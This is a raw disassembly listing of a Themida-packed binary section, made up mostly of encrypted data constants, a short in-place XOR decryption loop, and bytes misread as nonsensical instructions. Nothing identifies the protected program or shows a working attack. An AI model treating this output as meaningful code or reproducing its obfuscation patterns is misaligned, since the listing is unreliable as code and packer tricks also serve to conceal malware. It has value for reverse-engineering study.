		dd 0E210C9A1h, 0F42E67E4h, 354F6D1Ch, 79E70609h, 7E71F331h
		dd 8182C6AFh, 0C48A8547h, 0DCA182BAh, 68CC09h, 0B49C0000h
		dd 0CC433F6Bh, 4F968CFEh, 0F356B7C5h, 4F968D43h, 678689B5h
		dd 1CCF241Dh, 0D8568A13h, 0F77020C5h, 0F37454D5h, 0C5B5E1C2h
		dd 968D8452h, 0B3A410CFh, 0CF968C83h, 13047480h, 0CF968CE3h
		dd 735CD460h, 0DE2F2021h, 0F1213662h, 76CF968Ch, 0BA064CFAh
		dd 8D19C94Eh, 922ECF96h, 8D7E2EF4h, 4A2E416Dh, 0B4F6h
		dd 6CB48400h, 0B3A4838h, 3347F904h, 0E77D9BD7h,	0F9F67033h
		dd 9C1E3C24h, 0B49B9FDEh, 0D5A796EBh, 77F125A3h, 72101FCEh
		dd 2F27B6F4h, 0DD987CC4h, 0F2DD55C3h, 0E35DA746h, 0BC5AA6ECh
		dd 9252C485h, 32D0009Dh, 0EB8F175Ch, 7D808FB9h,	84C527DAh
		dd 2D366AC9h, 569279EBh, 34652B59h, 9CC8B8ECh, 3928C306h
		dd 0FB69D736h, 0D0890B7h, 314FCF9Dh, 3128B6ECh,	0CEEBBAA5h
		dd 281A4820h, 719C627h,	0B7E3CDFCh, 61F5DDFBh, 0FB033324h
		dd 0F400CF8Ch, 0A3707AD6h, 8CBB7EACh, 0F97785CFh, 6D5DFEDBh
		dd 442C5FAFh, 0C58D1738h, 36D2D5A5h, 0BEEDDF8Eh, 94FFD87h
		dd 386CB4B7h, 0D6BDC748h, 7682D5AEh, 9949CE3Ah,	0AEC97E43h
		dd 754F1E12h, 328EC4CBh, 9E6F60E0h, 0AA94CEA2h,	78158A5h
		dd 7035206Fh, 85B5DA16h, 8261DC2Ah, 5BEC0276h, 0E96EA39Dh
		dd 61DC2A39h, 5404B2CEh, 68000F3Eh, 0F868BA06h,	0E76183F7h
		dd 1ACF15E8h, 1BCF2515h, 904D1C14h, 0B7B177F0h,	9650D2B8h
		dd 3ECFC07Dh, 0DD099402h, 3, 4306866Fh,	29738A85h, 97ED303Fh
		dd 7A425B54h, 0DC38C5CAh, 4A926B64h, 300C919Eh,	95EF3E31h
		dd 7E46A7A8h, 3727C6C9h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 5A68242Ch, 89000022h, 0ED682434h,	89000037h
		dd 7B682404h, 89000011h, 5CBB241Ch, 812A3B53h, 2B186CEBh
		dd 0CFC38162h, 893E080Eh, 54685BDEh, 89000029h,	4832424h
		dd 51580424h, 8B9h, 89C10100h, 240C8B31h, 0FF04C483h, 83582434h
		dd 34FF04C4h, 0C4815E24h, 4, 0F92EA2E9h, 0B68C3EFFh, 0C3831950h
		dd 0F45A2F0Ah
; ---------------------------------------------------------------------------
		dec	edx


loc_5BEB2D:				; CODE XREF: Themida_:005BE580j
		mov	eax, 6184EE6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0A18Bh
		dd 2F80B3Fh, 0E6C77956h, 113F64FAh, 0D9B0442h, 0AD871C88h
		dd 6D035DA4h, 422060F8h, 821B449Bh, 0BA101AF0h,	46D2E88h
		dd 1C7C1FF1h, 0FCD162DCh, 0A3AF4FB4h, 0CE2812ABh, 19A80C99h
		dd 4C7D573Bh, 0DA4A3D9Ch, 26F1586Dh, 0ADC14A3Ah, 8E83BC0h
		dd 0AF000000h, 0F7528C9Ah, 5A5633A7h, 8E0F5660h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		jz	loc_5BEBA5
		push	eax
		pop	eax


loc_5BEBA5:				; CODE XREF: Themida_:005BEB9Dj
		popa
		add	edx, 0E279h
		mov	bh, 36h
		xor	edi, edi
		xor	bx, 0AA2Bh


loc_5BEBB5:				; CODE XREF: Themida_:005BEC0Ej
		mov	eax, [edx+edi]
		xor	eax, 7D9F4377h
		xor	bx, 0F819h	; CODE XREF: Themida_:005BEC1Bj
		sub	eax, 2F89B7h
		jnb	loc_5BEBDA
		jo	loc_5BEBDA
		add	si, 0BD5Ah


loc_5BEBDA:				; CODE XREF: Themida_:005BEBC9j
					; Themida_:005BEBCFj
		add	eax, 8E233CDh
		add	ebx, 6468AD1Ch
		mov	[edx+edi], eax
		jns	loc_5BEBF2
		mov	bx, dx


loc_5BEBF2:				; CODE XREF: Themida_:005BEBE9j
		jmp	loc_5BEC00
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0E7CF1BCDh, 0C3C1E1A0h
; ---------------------------------------------------------------------------


loc_5BEC00:				; CODE XREF: Themida_:loc_5BEBF2j
		sub	edi, 2
		dec	edi
		dec	edi
		push	esi
		cmc
		pop	ebx
		cmp	edi, 0FFFF1E0Ch
		jnz	loc_5BEBB5	; CODE XREF: Themida_:005BEC19j
		push	ebp
		in	eax, dx
		std
		jnz	short loc_5BEC77 ; CODE	XREF: Themida_:005BEC7Fj
		jp	short near ptr loc_5BEC0E+3
		jbe	short near ptr loc_5BEBBE+3
		imul	esp, esi, 0FD49BC56h
		aaa
		cmp	esp, [ecx]
		std
		xchg	eax, ebp
		or	ah, [ecx]
		std
		jmp	far ptr	2197h:48FD211Dh
; ---------------------------------------------------------------------------
		dw 3AFDh
		dd 10FD2152h, 0F9FD21B0h, 0DEFD21C1h
		db 79h
; ---------------------------------------------------------------------------


loc_5BEC41:				; CODE XREF: Themida_:005BECAFj
		and	ebp, edi
		mov	ch, 25h
		and	ebp, edi
		lock or	ah, [ecx]
		std
		leave
; ---------------------------------------------------------------------------
		dd 22FD211Dh
; ---------------------------------------------------------------------------


loc_5BEC50:				; CODE XREF: Themida_:005BEC83j
					; Themida_:005BEC93j
		mov	[ecx], esp
		std
; ---------------------------------------------------------------------------
		db 8Fh
		dd 6CFD2152h
; ---------------------------------------------------------------------------


loc_5BEC58:				; CODE XREF: Themida_:005BEC9Fj
		mov	cl, 21h
		std
		dec	ecx
		shl	byte ptr [ecx],	0FDh
		cmc
		db	67h
		and	ebp, edi
		pop	ecx
		cmp	esp, [ecx]
		std
		popf
		and	eax, 2295358Ah
		mov	ds:714A76D6h, al ; CODE	XREF: Themida_:005BECA3j
					; Themida_:005BECB3j
		ficomp	word ptr [ebp+edi*4+4Bh] ; CODE	XREF: Themida_:005BEC7Dj


loc_5BEC76:				; CODE XREF: Themida_:005BEC87j
		hlt
; ---------------------------------------------------------------------------


loc_5BEC77:				; CODE XREF: Themida_:005BEC17j
		pop	esp


loc_5BEC78:				; CODE XREF: Themida_:005BEC79j
		pop	edx
		jp	short loc_5BEC78
		jnz	short near ptr loc_5BECA3+1
		jb	short near ptr loc_5BEC72+2
		jnz	short near ptr loc_5BEC17+1 ; CODE XREF: Themida_:005BEC81j
					; Themida_:005BEC89j ...
		jns	short near ptr loc_5BEC7F+1
		jz	short loc_5BEC50 ; CODE	XREF: Themida_:005BEC85j
		js	short near ptr loc_5BEC83+1
		jnb	short loc_5BEC76
		jge	short near ptr loc_5BEC7F+1


loc_5BEC8B:				; CODE XREF: Themida_:loc_5BEC8Dj
		jz	short near ptr loc_5BEC7F+1


loc_5BEC8D:				; CODE XREF: Themida_:loc_5BECA7j
		jnp	short loc_5BEC8B


loc_5BEC8F:				; CODE XREF: Themida_:005BEC91j
		jz	short near ptr loc_5BED05+4
		jnp	short loc_5BEC8F
		jnz	short near ptr loc_5BEC50+1 ; CODE XREF: Themida_:005BEC95j
		jp	short near ptr loc_5BEC93+1
		jnz	short loc_5BECF7 ; CODE	XREF: Themida_:005BEC99j
		jp	short near ptr loc_5BEC97+1
		jbe	short near ptr loc_5BECB5+1
		push	es
		cmpsb
		jnz	short loc_5BEC58 ; CODE	XREF: Themida_:loc_5BECABj
		pop	es
		cmpsb


loc_5BECA3:				; CODE XREF: Themida_:005BEC7Bj
					; Themida_:005BECA5j
		jnz	short near ptr loc_5BEC6D+3
		jp	short near ptr loc_5BECA3+1


loc_5BECA7:				; CODE XREF: Themida_:005BECA9j
		jnz	short loc_5BEC8D
		jnp	short loc_5BECA7


loc_5BECAB:				; CODE XREF: Themida_:005BECADj
		jz	short near ptr loc_5BEC9F+1
		jnp	short loc_5BECAB
		jz	short loc_5BEC41
		mov	dl, 0F8h
		jnz	short near ptr loc_5BEC6D+4


loc_5BECB5:				; CODE XREF: Themida_:005BEC9Bj
		sbb	dh, [eax-10h]
		cmp	[esi], ch
		in	eax, 73h
		cmpsb
		jmp	dword ptr [eax+25h]
; ---------------------------------------------------------------------------
		db 8Fh,	7Ch, 70h
; ---------------------------------------------------------------------------


loc_5BECC3:				; CODE XREF: Themida_:005BED1Bj
		lock mov bh, 2Eh
		in	eax, 73h
		insb
		jmp	dword ptr [eax+707CEA25h]
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------

locret_5BECD0:				; CODE XREF: Themida_:loc_5BECF7j
		retn
; ---------------------------------------------------------------------------
		db 2Eh,	0E5h, 73h
		dd 2564FF35h, 0F0707C46h, 73E52E35h, 259CFF1Eh,	0F0707CD3h
		dd 73E5293Ch, 2598FF7Bh, 0F0707C61h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		sub	ch, ah


loc_5BECF7:				; CODE XREF: Themida_:loc_5BEC97j
		jnb	short locret_5BECD0
		call	dword ptr [ebp-0F8F83C9h]
		push	ds


loc_5BED01:				; CODE XREF: Themida_:005BED0Fj
		sub	ch, ah
		jnb	short loc_5BED47


loc_5BED05:				; CODE XREF: Themida_:loc_5BEC8Fj
		call	dword ptr [eax+707CFD25h]
		lock insd
		sub	ch, ah
		jnb	short loc_5BED01
		dec	dword ptr [ebp-0F8F835Ch]
		movsb
		sub	ch, ah
		jnb	short loc_5BECC3
		inc	dword ptr [eax+707C8F25h]
		lock or	eax, 6C73E528h
		dec	dword ptr [eax+707CEA25h]
		lock pushf		; CODE XREF: Themida_:005BED57j
		sub	ch, ah
		jnb	short loc_5BED6A
		inc	dword ptr [ebp-0F8F83BAh]
		aad	28h
		in	eax, 73h
		push	ds
		inc	dword ptr [eax+707CD325h]


loc_5BED47:				; CODE XREF: Themida_:005BED03j
		lock shr dword ptr [ecx], 1
		in	eax, 73h
		jnp	short near ptr loc_5BED4C+1 ; CODE XREF: Themida_:loc_5BED4Cj
		jo	short loc_5BED75
		popa
		jl	short loc_5BEDC3
		lock out dx, eax
		sub	ebp, esp
		jnb	short near ptr loc_5BED2F+1
		jmp	fword ptr [ebp+37h] ; CODE XREF: Themida_:loc_5BED6Aj
; ---------------------------------------------------------------------------
		db 7Ch,	70h, 0F0h
		db 0E1h
; ---------------------------------------------------------------------------


loc_5BED61:				; CODE XREF: Themida_:005BED6Fj
		sub	ebp, esp
		jnb	short loc_5BEDA7
		jmp	fword ptr [eax+25h]
; ---------------------------------------------------------------------------
		db 0FDh, 7Ch
; ---------------------------------------------------------------------------


loc_5BED6A:				; CODE XREF: Themida_:005BED33j
		jo	short near ptr loc_5BED59+3


loc_5BED6C:				; CODE XREF: Themida_:005BEDD2j
		dec	ebp
		sub	ebp, esp
		jnb	short loc_5BED61
; ---------------------------------------------------------------------------
		db 0FFh, 7Ch
byte_5BED73	db 25h			; CODE XREF: Themida_:005BEDC5j
; ---------------------------------------------------------------------------
		movsb


loc_5BED75:				; CODE XREF: Themida_:005BED4Ej
		jl	short near ptr loc_5BEDE5+2
		lock test al, 29h
		in	eax, 73h
		cmpsb
; ---------------------------------------------------------------------------
		db 0FFh, 78h, 25h
		dd 0F0707C8Fh, 73E52E5Ah, 2574FF6Ch, 0F0767CEAh, 73EC75A4h
		dd 252BFF35h, 0F0767C46h, 73EC716Ah, 2527FF1Eh
		db 0D3h, 7Ch, 9Ch
; ---------------------------------------------------------------------------


loc_5BEDA7:				; CODE XREF: Themida_:005BED63j
		mov	dh, 0B0h
		icebp
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		lahf


loc_5BEDB4:				; CODE XREF: Themida_:005BEDE3j
		in	eax, dx
; ---------------------------------------------------------------------------
		db 62h,	0FBh, 25h
		dd 0FDF53FD5h, 6DADAFADh
		db 91h,	22h, 34h
; ---------------------------------------------------------------------------


loc_5BEDC3:				; CODE XREF: Themida_:005BED51j
		mov	bh, 0CFh
		jp	short near ptr byte_5BED73
		and	esi, [edi+1A20AD29h] ; CODE XREF: Themida_:005BEDCDj
		jp	short near ptr loc_5BEDC7+5
		jnz	short loc_5BEE4A
		daa
		jl	short loc_5BED6C
		mov	bh, 28h
		in	eax, 73h	; CODE XREF: Themida_:005BEE35j


loc_5BEDD8:				; CODE XREF: Themida_:005BEE3Fj
		mov	al, ds:3725A1FFh
		jl	short loc_5BEE5C
		enter	2ACBh, 0E5h
		jnb	short loc_5BEDB4 ; CODE	XREF: Themida_:005BEE13j


loc_5BEDE5:				; CODE XREF: Themida_:loc_5BED75j
		or	[ebp+eax*8-4AB48A1Ch], esi
		stc
		mov	edx, 0EF863589h
		daa
		and	eax, 0FEBD7CA4h	; CODE XREF: Themida_:005BEE6Cj
		xchg	eax, esi
		sub	eax, [ebp+7Ah]


loc_5BEDFC:				; CODE XREF: Themida_:005BEDFDj
		das
		jp	short loc_5BEDFC
		mov	al, [edx]
		mov	al, ds:0F7CD6DADh
		dec	eax
		sub	[ebp-3907049Eh], dh
		cld
		push	eax
		popf


loc_5BEE10:				; CODE XREF: Themida_:005BEE11j
		dec	ebx
		jle	short loc_5BEE10
		jnz	short near ptr loc_5BEDE3+1
		outsd
		inc	ebp
		jbe	short near ptr loc_5BEE72+5 ; CODE XREF: Themida_:005BEE19j
		jp	short near ptr loc_5BEE17+1
		mov	bh, [edx-6E925260h]
		test	dword ptr [eax+28h], 0F8FB629Bh


loc_5BEE28:				; CODE XREF: Themida_:005BEE79j
		sar	esp, 1
		push	eax
		mov	ah, [edx]
		and	ebx, [edi]


loc_5BEE2F:				; CODE XREF: Themida_:005BEE53j
		mov	esp, 25A1F787h
		movsb
		jl	short near ptr loc_5BEDD6+1
		sub	eax, 2CA32005h
		in	al, dx
		xchg	eax, edx
		insd
		ja	short loc_5BEDD8
		jp	short loc_5BEE90
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5BEE9E
		mov	dh, [eax-54h]


loc_5BEE4A:				; CODE XREF: Themida_:005BEDCFj
		lodsd
		insd
		hlt
; ---------------------------------------------------------------------------
		sar	dword ptr [esi], 1
		popf


loc_5BEE50:				; CODE XREF: Themida_:005BEE51j
		pop	es
		js	short loc_5BEE50
		jnz	short loc_5BEE2F
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		dd 0DE9B5954h
; ---------------------------------------------------------------------------


loc_5BEE5C:				; CODE XREF: Themida_:005BEDDDj
		shr	bh, 1
		sub	esp, ds:0DE9B7C8Fh
		or	[edx+7AE57795h], dl
		or	esi, [esi]
		rep jb short near ptr loc_5BEDF3+4
		outsb
		xchg	ch, bh


loc_5BEE72:				; CODE XREF: Themida_:loc_5BEE17j
		sub	esp, ds:0C54D7CA4h
		push	esp
		jns	short loc_5BEE28
		mov	bh, [edx-6E925254h]
		and	[ebx-6481D40Ah], bl
		jle	short near ptr loc_5BEEAF+1
		sbb	al, 56h
		mov	dh, 1Ah
		imul	edi, 75h


loc_5BEE90:				; CODE XREF: Themida_:005BEE41j
		jns	short near ptr loc_5BEEBA+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5BEE9E:				; CODE XREF: Themida_:005BEE45j
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh


loc_5BEEAF:				; CODE XREF: Themida_:005BEE87j
		jnz	short loc_5BEEDB
		xchg	eax, edx
		loope	loc_5BEF2B
		mov	esp, 844EA77Ah
		push	cs


loc_5BEEBA:				; CODE XREF: Themida_:loc_5BEE90j
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005BEEE1j
		retf
; ---------------------------------------------------------------------------
		db 8Ch,	0BEh, 74h
		dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh
		db 65h,	0A0h, 89h
; ---------------------------------------------------------------------------


loc_5BEEDB:				; CODE XREF: Themida_:loc_5BEEAFj
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5BEEBF+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FB62A2A3h
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h,	0DF60CABCh
		dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h
; ---------------------------------------------------------------------------
		dec	edx
		sbb	al, 56h


loc_5BEF27:				; CODE XREF: Themida_:005BEF37j
		popf


loc_5BEF28:				; CODE XREF: Themida_:005BEF29j
		inc	ebx
		jnp	short loc_5BEF28


loc_5BEF2B:				; CODE XREF: Themida_:005BEEB2j
		jnz	short loc_5BEF47
		dec	esp


loc_5BEF2E:				; CODE XREF: Themida_:loc_5BEF47j
		std
		jnz	short loc_5BEFAA
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5BEF27
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5BEF47:				; CODE XREF: Themida_:loc_5BEF2Bj
		jnz	short loc_5BEF2E
; ---------------------------------------------------------------------------
		db 8Ch,	0BEh, 74h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 2527EF0Dh, 0C0707C61h
		dd 73E52A1Dh, 7F518A5Dh, 0E002D02Ch, 73E52A41h,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h
		db 1Ah,	85h
; ---------------------------------------------------------------------------


loc_5BEFAA:				; CODE XREF: Themida_:005BEF2Fj
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h
		dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h
		dd 25AEFF69h, 0C87D7CD3h, 73E52AB6h, 0F8EC0FF3h, 6DADBFFCh
		dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h
		dd 8A00C30Dh, 0DF9CCA0Dh, 25AEF787h, 0C87D7CA4h, 73E52A0Dh
		dd 0F8F10F2Fh, 6DADBF12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah
		dd 0AF688579h, 0F8FB62ECh, 6DA858C3h, 6DF9F029h, 9C4DB93Dh
		dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h
		dd 6DADACCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h,	75C9924Eh
		dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h
		dd 252BEF68h, 917D7CD3h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh
		dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh
		dd 6DADA070h, 0CC60F7F4h, 0F8FB6229h, 0CD3E39A0h, 75FD7A4Eh
		dd 2527EFD0h, 0B57E7C8Fh, 8935F1CEh, 252BEF1Ah,	97577CEAh
		dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh
		dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh
		dd 4717FB04h, 0FCFB627Ah, 0CF7D86EAh, 73E52A1Eh, 0EC7975E5h
		dd 0CDFD7AF2h, 75FD7A73h, 2527E843h, 0FCBD7C46h, 6DADA4ADh
		dd 0F835F191h, 6DAB7C79h, 0A36F85E3h, 0FDFB62A2h, 801F3C7Fh
		dd 75FD6D04h, 0AB7F795Eh, 35FB627Fh, 2007E01Ah,	0B67E7CD3h
		dd 22FEF3E1h, 75FD644Bh, 0AB777979h, 0F8FB62ECh, 6DA892ECh
		dd 2B598929h, 75FD722Fh, 0AF6F85CBh, 0F6FB62B5h, 85897E0Ah
		dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h,	75FD742Eh
		dd 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh
		dd 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h
		dd 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah,	0E9055E6Bh
		dd 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h,	75FD7A79h
		dd 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 23E49016h,	0CF707CD3h
		dd 73E52A07h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch
		dd 251FE7A2h, 497D7C8Fh, 71887BD3h, 771683BEh, 203E82A9h
		dd 9D9D96F2h, 75FD7ABCh, 2717FB04h, 0F8FB6279h,	6DAD9825h
		dd 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h, 9740F7DCh
		dd 46FB620Eh, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 6DAD9858h
		dd 74C2FBF4h, 0FC7B78h,	7182FBB0h, 74FC7B5Fh, 9E04795Ah
		dd 0B69C8296h, 9740F7ABh, 0CDFB62B5h, 75FD7AF3h, 75FD72C0h
		dd 145789BCh, 0FE3DF19Dh, 9A78F7EFh, 8AFB62C7h,	0E8CA8BD0h
		dd 11h,	0CECC0538h, 0DF2183Fh, 0F64A5071h, 0BE71531Dh
		dd 19880FA0h, 0E9000000h, 14h, 0C9BD1E56h, 9BD78A12h, 4C7475FFh
		dd 0FCB1867Dh, 7D5A5EE4h, 815E5758h, 6891C0h, 7062BB00h
		dd 0DFB9112Eh, 0BE000019h, 0E4B1E27h, 8C0F30FFh, 1Bh, 12E8h
		dd 53C55F00h, 165A4139h, 5F8E54C4h, 2B9308CCh, 0F5AADBFh
		dd 5A5FF7BFh, 8E9h, 0A917EE00h,	85DA0120h, 0BDC28107h
		dd 0F2E0CA6h, 0B8Ah, 58C0F00h, 0BF000000h, 56947E42h, 4111C281h
		dd 0F7801CE0h, 4BEA8180h, 6622B287h, 1089F38Bh,	1952BE66h
		dd 6E62E881h, 890F2C17h, 14h, 0FE9h, 62870400h,	234E89C9h
		dd 175FA65h, 9F403BD5h,	6E5EC081h, 81662C17h, 8345D7DBh
		dd 850F01E9h, 1Ah, 36F78166h, 33E981h, 0BBB00000h, 0B90C6982h
		dd 0E61DDB45h, 47FA1FB4h, 10E84563h, 0A8000000h, 0F5239EC6h
		dd 0B9456781h, 0D4C496ECh, 5BE53BD8h, 0FFFF37E9h, 0D6EFD0FFh
		dd 2B33EAFDh, 3BE99Fh, 8B600000h, 112905BDh, 4EF8306h
		dd 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h
		dd 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h
		dd 61FFFFFFh, 0E9C88BC3h, 0B2h,	9AF0FF65h, 7ED4DB08h, 60363924h
		dd 460C03C6h, 256B64DCh, 0B8A85982h, 8747E1B7h,	0E760C288h
		dd 0C600A2E8h, 0F93183C9h, 7E34A856h, 0A6E6BFC9h, 0B4B27B65h
		dd 0F6638509h, 7EE16082h, 49BA8E81h, 1444F2F1h,	2F434CFEh
		dd 72F2007Eh, 0E1085F7Dh, 0C5514613h, 2F1A0AADh, 841E6A20h
		dd 79DE525Dh, 0CF95D9C4h, 0D9B8112Dh, 86249ECFh, 51C3D01Bh
		dd 0CDCFD957h, 3, 4306869Fh, 29738A85h,	97ED303Fh, 7A425B54h
		dd 0DC38C5CAh, 4A926B64h, 300C919Eh, 95EF3E31h,	7E46A7A8h
		dd 3727C6C9h, 18582668h, 252DE906h, 0BB7FFF9h, 0F5F7B037h
		dd 18E9F4CDh, 38000000h, 59219Ch, 4 dup(0)
		dd 0E9000000h, 55Ch, 0CE848BB9h, 0AAE0EF54h, 8CC2CD78h
		dd 6A202F1Ah, 51070838h, 44FC2DD6h, 0A3A3054Bh,	83BCE6ACh
		dd 0E25CC68Ch, 1D6DA7EDh, 7E34CC7Ah, 0DACA5BC9h, 7F8E8143h
		dd 5C323D25h, 0F61718CAh, 6AB3BCAEh, 0C3DAD512h, 8C834EF9h
		dd 0CF968C5Eh, 0C4D957E5h, 8C89B9DEh, 629ECF96h, 0CEDFD010h
		dd 46F40F11h, 7551DBDAh, 0C3F876BDh, 0C27CBA4Dh, 221D87CDh
		dd 991718C9h, 0F9F671B3h, 0A16CD824h, 95AF80AEh, 0FB6987CFh
		dd 0D86B3D22h, 76222D1Eh, 0C73D5468h, 4E31133Ah, 3DE22D1Fh
		dd 71979B09h, 4F408311h, 404FF92Bh, 0AE699ABDh,	0B385CF95h
		dd 3196AEB0h, 78D80FCDh, 60000000h, 7F8E8143h, 9240D703h
		dd 91CF968Ch, 0D9D61163h, 8C3EEE51h, 64BACF96h,	0EFC9FDE3h
		dd 1890FCDh, 57000000h,	5AFD2965h, 0CF968CACh, 58860DBBh
		dd 0EFCF968Ch, 5C8BD951h, 18544A53h, 968CC777h,	48205CCFh
		dd 0DB222D1Ah, 8A8D4081h, 0CF968C5Ch, 0A7A4AB9Eh, 57029B09h
		dd 438046C1h, 0C5CA748Eh, 63933838h, 0E0CF968Ch, 0B33BE8C4h
		dd 5FCD971Eh, 0F396B21h, 43F04A00h, 6CD88887h, 968C3BEBh
		dd 0F4BCC8CFh, 0BBABF925h, 83F769B4h, 10EDE261h, 30F67157h
		dd 606FDB30h, 5F35A39Dh, 73F01BC5h, 0E53FCE7Ch,	71967778h
		dd 123A243Fh, 7C0FCDEDh, 86h, 8887430Ch, 6BD3ED8h, 0E951C2EEh
		dd 518CE881h, 4184F5Eh,	121DC503h, 0FF90CC3Ch, 0CF95DA4Fh
		dd 52ABA4A1h, 0DF53E1EEh, 4B525D85h, 281BF071h,	854A927h
		dd 0F7CDD0DFh, 85A27B74h, 1F7250D3h, 4C607E89h,	20FCD5Fh
		dd 84h,	0DC0F65AAh, 816CAD3h, 0C3077BD4h, 0B2F0B844h, 0EAE55DB6h
		dd 6EBF2D13h, 0C3DAD516h, 0BA434CF9h, 0DF08E362h, 0E513CDD0h
		dd 0A053C18h, 0C2564DF3h, 9ACE6341h, 949B4F89h,	84434CBEh
		dd 29F4FB6Fh, 0E564B937h, 0CF968D32h, 708D8242h, 8CDD0D02h
		dd 0DE6ACF96h, 77969944h, 9B5DE63Ah, 9A46A7A8h,	41C2146Ch
		dd 0CDEF675Fh, 15D2200Fh, 0D55D831Ah, 0FA2h, 3D2E4400h
		dd 52D349A2h, 0BC2A46C1h, 41BBFF61h, 0BDA47B65h, 0FC6DFF47h
		dd 0F0FF6EB4h, 1A15D72Dh, 808FB983h, 2926277Dh,	0E196FD4h
		dd 3DB969EEh, 324ECF96h, 0F0731584h, 57A83736h,	2B242012h
		dd 0F3606ED2h, 3E6A98ABh, 37778E4h, 54BCDDh, 4B743F50h
		dd 0CB79D5A7h, 0FE2C239Fh, 5C98546h, 6877C367h,	72E0FEFBh
		dd 2B156F3Eh, 0A346E24h, 0AF61F805h, 1AC9851Ch,	0C97BBD46h
		dd 0D41690C6h, 48FAC2DBh, 0EB5EA647h, 7C319E4h,	0EC3CF508h
		dd 46BC795Bh, 9E6F8D58h, 0FCB4C8B7h, 0ED5F99AAh, 9AA2ACE2h
		dd 0D409DC96h, 13Ah, 386CB464h,	0ACACC748h, 3B1D5A7h, 0AFA0A2FAh
		dd 0D80B99E9h, 0FA177147h, 8C3AD181h, 0DC0A0D71h, 6BC984DAh
		dd 6ED5AFDDh, 69DB0961h, 6DAC2A66h, 8E017E47h, 0CD17C6AAh
		dd 434CF813h, 969886BAh, 0FDF4153Dh, 4B24F977h,	289DA937h
		dd 6562B6CEh, 8E48DB0Dh, 73FD535Ch, 9DC2C4Bh, 18B7820Ch
		dd 0B4142724h, 90BEB14Dh, 254D19DEh, 36D2h, 6BB47A00h
		dd 0FECC433Fh, 0C54F968Ch, 29B9453h, 0FA5DA0DEh, 4F968D4Ch
		dd 0EDDC67B9h, 6FE05004h, 0CF968D9Fh, 0EC5808A4h, 968CBB6Bh
		dd 743C48CFh, 947E12h, 0B40C0000h, 0C748386Ch, 0D5A7977Ch
		dd 1D12D741h, 0DB225080h, 2484781h, 914DA6A0h, 0A3D10F9Eh
		dd 658EE9F7h, 0B90B9Dh,	0A30F3F50h, 9814C984h, 0CB7ED990h
		dd 0D9C984A3h, 429A636Ch, 44738A85h, 0E3853730h, 9916C818h
		dd 4EE257C5h, 83F55B5h,	367AE607h, 0AA9972ECh, 306137A5h
		dd 0C2CCBCE8h, 937DECFEh, 54B0F815h, 9DAEECC3h,	62BBC9CFh
		dd 7BE0923Ch, 2AA4B1DBh, 2D221C46h, 0A93763D0h,	0C51AC5Ah
		dd 0A5FBBFDCh, 613593A2h, 68C91E31h, 12AED5A5h,	0F65C23Ch
		dd 0F35ED2DDh, 7E114115h, 0D5AEE5A9h, 51AB728Eh, 70B29897h
		dd 2524F9F6h, 28B7F748h, 1D4F4939h, 63E00E72h, 0CA781F4Bh
